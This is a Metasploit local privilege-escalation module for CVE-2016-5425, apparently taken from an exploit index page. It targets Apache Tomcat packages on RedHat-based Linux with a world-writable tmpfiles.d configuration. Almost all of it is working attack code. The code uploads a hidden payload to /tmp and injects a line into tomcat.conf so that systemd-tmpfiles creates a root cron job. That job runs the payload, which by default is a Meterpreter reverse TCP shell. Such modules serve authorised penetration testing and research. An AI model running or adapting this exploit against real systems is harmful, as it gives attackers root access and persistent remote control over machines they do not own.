Share
## https://sploitus.com/exploit?id=PACKETSTORM:171337
###  
#  
# This exploit sample shows how an exploit module could be written to exploit  
# a bug in a command on a linux computer for priv esc.  
#  
###  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ManualRanking  
  
include Msf::Exploit::Retry  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::Linux::Compile  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation',  
'Description' => %q{  
This module exploits a vulnerability in RedHat based systems where  
improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf  
for Apache Tomcat versions before 7.0.54-8. This may also work against  
  
The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage  
temporary files including their creation.  
  
With this weak permission, we're able to inject commands into systemd-tmpfiles  
service to write a cron job to execute our payload.  
  
systemd-tmpfiles is executed by default on boot on RedHat-based systems  
through systemd-tmpfiles-setup.service. Depending on the system in use,  
the execution of systemd-tmpfiles could also be triggered by other  
services, cronjobs, startup scripts etc.  
  
This module was tested against Tomcat 7.0.54-3 on Fedora 21.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery  
],  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'DefaultOptions' => {  
'WfsDelay' => 1800, # 30min  
'payload' => 'linux/x64/meterpreter_reverse_tcp'  
},  
'References' => [  
['EDB', '40488' ],  
['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'],  
['URL', 'http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'],  
['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info  
['CVE', '2016-5425']  
],  
'DisclosureDate' => '2016-10-10',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]  
}  
)  
)  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),  
]  
end  
  
# Simplify pulling the writable directory variable  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def tomcat_conf  
'/usr/lib/tmpfiles.d/tomcat.conf'  
end  
  
def suid?(file)  
get_suid_files(file).include? file  
end  
  
def check  
package = cmd_exec('rpm -qa | grep "^tomcat\-[678]"')  
if package.nil? || package.empty?  
return CheckCode::Safe('Unable to execute command to determine installed pacakges')  
end  
  
package = package.sub('tomcat-', '').strip  
# fedora based cleanup  
package = package.sub(/\.fc\d\d\.noarch/, '')  
# rhel/centos based cleanup  
package = package.sub(/\.el\d_\d\.noarch/, '')  
package = Rex::Version.new(package)  
  
# The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says  
# only 7 is effected, so we're going to go off their write-up.  
if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8')  
return CheckCode::Appears("Vulnerable app version detected: #{package}")  
end  
  
CheckCode::Safe("Unexploitable tomcat packages found: #{package}")  
end  
  
def exploit  
# Check if we're already root  
if is_root? && !datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
unless writable? tomcat_conf  
fail_with Failure::BadConfig, "#{tomcat_conf} is not writable"  
end  
  
vprint_status("Creating backup of #{tomcat_conf}")  
@tomcat_conf_content = read_file(tomcat_conf)  
path = store_loot(  
tomcat_conf,  
'text/plain',  
rhost,  
@tomcat_conf_content,  
'tomcat.conf'  
)  
print_good("Original #{tomcat_conf} backed up to #{path}")  
  
# Upload payload executable  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
vprint_status("Uploading Payload to #{payload_path}")  
upload_and_chmodx payload_path, generate_payload_exe  
register_file_for_cleanup(payload_path)  
  
# write in our payload execution  
vprint_status("Writing permission elevation into #{tomcat_conf}")  
  
cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}"  
print_status("Creating cron job in #{cron_job}")  
# The POC shows 2 options, a cron answer, and copy bash answer.  
# Initially I attempted to copy our payload, set suid and root owner  
# however it seemed to need 2 service restart to apply all the permissions.  
# I never figured out why it was like that, even chaining copying bash in, then  
# launching the payload from the bash instance etc. We opt for the cron  
# which may take 1 additional minute, and rely on cron, but is much more stable  
cmd_exec("echo 'F #{cron_job} 0644 root root - \"* * * * * root nohup #{payload_path} & \\n\\n\"' >> #{tomcat_conf}")  
register_file_for_cleanup(cron_job)  
  
# we now need systemd-tmpfiles to restart  
print_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service")  
succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do  
file? cron_job  
end  
  
unless succeeded  
print_error("#{cron_job} not found, exploit aborted")  
return  
end  
  
print_status('Waiting on cron to execute the payload (~1 minute)')  
end  
  
def cleanup  
unless @tomcat_conf_content.nil?  
write_file(tomcat_conf, @tomcat_conf_content)  
end  
super  
end  
end